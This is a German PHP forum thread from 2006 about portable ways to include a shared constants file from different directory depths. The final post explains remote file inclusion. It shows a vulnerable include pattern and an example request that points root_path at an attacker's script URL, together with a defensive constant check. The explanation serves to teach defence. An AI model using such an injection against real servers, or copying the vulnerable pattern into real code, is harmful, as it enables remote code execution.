Delphi-PRAXiS

Delphi-PRAXiS (https://www.delphipraxis.net/forum.php)
-   Programmieren allgemein (https://www.delphipraxis.net/40-programmieren-allgemein/)
-   -   [PHP] include (https://www.delphipraxis.net/78204-%5Bphp%5D-include.html)

Wuaegner 30. Sep 2006 22:26


[PHP] include
 
Hallo,
ich suche nach einer besseren Möglichkeit eine Datei zu includen.
Bis jetzt habe ich auf jeder php seite den befehl include("../constants.php").
Dazu muss die Datei constants.php im übergeordneten Verzeichnis einer Seite liegen.
Nun kann es aber auch sein, dass manche Dateien in einem tieferen Verzeichnis liegen, sodass es nun include("../../constants.php") heißen müsste. Alle Seiten sollen aber den gleichen Befehl in der ersten Zeile haben.
include($_SERVER['DOCUMENT_ROOT']."/verzeichnis/constants.php) geht leider auch nicht, da sich der name von "verzeichnis" ändern kann.

Hat jemand einen Vorschlag?

mkinzler 30. Sep 2006 22:30

Re: [PHP] include
 
Man kann ja in der php.ini den Suchpfad einstellen. wenn du diese datei in eines dieser Verzeichnisse kopierst, wird diese gefunden.

DGL-luke 30. Sep 2006 22:32

Re: [PHP] include
 
puh... du könntest den include-path ändern. Aber ich glaube nicht, dass das eine gute Idee ist.
//Wie mkinzler gerade sagte...

Warum müssen die Dateien in tieferen Verzeichnissen die selbe Datei includen? Werden sie nicht von einer Datei eingebunden, in denen globals.php schon eingebunden ist?

resolution 30. Sep 2006 22:35

Re: [PHP] include
 
3 Vorschläge:

1.
ich weiss nicht wieso sich der Name von 'verzeichnis' ändern kann, du weisst doch wo die datei liegt die du includen willst!?
also gib den Pfad absolut an! das kannst du! :p

falls du nicht kannst willst oder sonstiges, schildere dies bitte genau ;)
dennoch 2 weitere möglichkeiten ;)

2. overhead, aber schnell: kopiere einfach in jedes Verzeichnis deine constants.php :p~

3. lasse dies von einer methode machen, welche das aktuelle Verzeichnis ermittelt und dementsprechend den Pfad zur includierenden Datei ermittelt, das braucht natürlich vernachlässigbar mehr cpu-time, kann aber jedes problem lösen, da dynamisch..

Wuaegner 30. Sep 2006 23:11

Re: [PHP] include
 
Hallo,
danke für eure Vorschläge.
Zitat:

1.
ich weiss nicht wieso sich der Name von 'verzeichnis' ändern kann, du weisst doch wo die datei liegt die du includen willst!?
also gib den Pfad absolut an! das kannst du! :p
Ich teste die seiten lokal auf meinem Rechner und lade sie dann hoch auf einen server ( hier ist das Verzeichnis bereits ein anderes). Auch kann es sein, dass der Verzeichnisname auf dem Server bald geändert wird und dann möchte ich nach Möglichkeit nicht alle Seiten ändern, sondern suche nach einer flexibleren Lösung.

Zitat:

2. overhead, aber schnell: kopiere einfach in jedes Verzeichnis deine constants.php :p~
Das klappt, aber bei einer Änderung der Datei constants.php immer dran denken zu müssen, diese auch in allen anderen Dateien vorzunehmen ist auch nicht sehr flexibel.

Zitat:

3. lasse dies von einer methode machen, welche das aktuelle Verzeichnis ermittelt und dementsprechend den Pfad zur includierenden Datei ermittelt, das braucht natürlich vernachlässigbar mehr cpu-time, kann aber jedes problem lösen, da dynamisch..
Das erscheint mir fast die beste Lösung, wenn auch Aufwendigste. Der Code der Funktion muss dann jedoch in jeder Datei stehen, was wieder etwas unschön ist. :gruebel:

resolution 30. Sep 2006 23:36

Re: [PHP] include
 
denke du solltest trotzdem zu weg (1.) greifen, bei dir kannst du eine umgebung schaffen die der des online-servers entspricht, dann musst du da schonmal nichts ändern..
normalerweise sollte sich auch 'verzeichnis' vom server aus nicht ändern, wenn dann ordnest DU dieses rename an und das wirst du i.d.R. nicht allzu oft tun..
solltest du dieses rename nicht beeinflussen können ist 'verzeichnis' doch zu 99% teil von DOCUMENT_ROOT..

noch eine 4te lösung bzw. eine verfeinerung von (3.):
du musst den code nicht in jede datei schreiben, du kannst ein toplevel-script nutzen, welches alle anderen dateien includiert, nach dem schema statt fobar.de/guestbook.php wird foobar.de/baz.php?section=guestbook aufgerufen, oder section=comunity/guestbook, also auch ordnerübergreifend..
soll heißen eine datei includiert alle anderen, und nur in dieser musst du dann schauen wo die constants.php ist, entweder statisch oder mittels kurezem code...

S2B 30. Sep 2006 23:54

Re: [PHP] include
 
Bei mir geht das so:
Code:
define('ROOT_PATH', './');
include(ROOT_PATH . 'includes/class_mysql.php');
und für Dateien in einem Ordner abc:
Code:
define('ROOT_PATH', '../');
include(ROOT_PATH . 'includes/class_mysql.php');
Idee (c) phpBB. :cyclops:

3_of_8 30. Sep 2006 23:58

Re: [PHP] include
 
Man kann auch den absoluten Pfad in der Datenbank speichern und dann den benutzen.

S2B 1. Okt 2006 00:27

Re: [PHP] include
 
Nur muss man zuerst mal in die Datenbank kommen, und genau das passiert eben oft in Dateien, die includet werden. :wink:

alcaeus 1. Okt 2006 07:21

Re: [PHP] include
 
Ganz genau. Und in einer Datei sollte (wichtig, sollte) man eigentlich wissen, in welchem Verzeichnis die Datei liegt.

Um die Idee von Simon besser zu erlaeutern, du musst in allen Dateien, die nicht eingebunden werden, sondern direkt aufgerufen werden, ROOT_PATH korrekt definieren. Nimm dabei eine Konstante, warum siehst du gleich. Alle Dateien, die nicht eingebunden werden, lassen die Konstante in Frieden und fragen sie nur ab. In diesen Dateien solltest du abfragen, ob sie auch korrekt eingebunden sind. Dies geht am Besten, indem du pruefst ob eine Konstante gesetzt ist (ROOT_PATH wuerde diesen Zweck bereits erfuellen). Warum das?
Nuja, stellen wir uns mal vor, du machst es mit einer Variable (erster Fehler). Stellen wir uns mal vor, auf deinem Server ist register_globals an (zweiter, weit verbreiteter Fehler). Stellen wir uns ausserdem vor, dass allow_url_fopen auf deinem Server aktiv ist (dritter, ebensoweit verbreiteter Fehler).
Du hast also ein Script foo.php, das eigentlich bar.php einbindet. in bar.php steht nur das:
Code:
<?php
include($root_path .'foobar.php');
?>
Da bar.php ja erwartet, dass root_path gesetzt ist, funktioniert dies bei einem Aufruf von foo.php einwandfrei, $root_path ist ja definiert.
Jetzt kommt aber der boese alci (*g*) und ruft h**p://foobar/foobar.php?root_path=h**p://meinserver/boesesscript.txt? auf. Was passiert? Der Include-Befehl wird so aussehn:
Code:
include('h**p://meinserver/boesesscript.txt?foobar.php')
denn schliesslich wird durch register_globals $root_path gesetzt. Durch allow_url_fopen geht include auch wirklich auf meinen Server, holt sich boesesscript.txt und fuehrt sie auf deinem Server aus. Die Folgen ueberlass ich deiner Fantasie.

Also, wenn direkt Code in include-Dateien ausgefuehrt wird (Dateien, die nur aus Funktionen bestehn, sind weniger kritisch) immer mit etwas der Art
Code:
if (!defined('ROOT_PATH'))
{
  die('Not allowed');
}
Und natuerlich in den anderen Dateien:
Code:
define('ROOT_PATH', './');
Greetz
alcaeus

PS: Ja, ich hatte grad Lust auf nen Remote-Code-Injection-Aufklaerungspost fuer Dummies :stupid:


Alle Zeitangaben in WEZ +1. Es ist jetzt 16:00 Uhr.

Powered by vBulletin® Copyright ©2000 - 2024, Jelsoft Enterprises Ltd.
LinkBacks Enabled by vBSEO © 2011, Crawlability, Inc.
Delphi-PRAXiS (c) 2002 - 2023 by Daniel R. Wolf, 2024 by Thomas Breitkreuz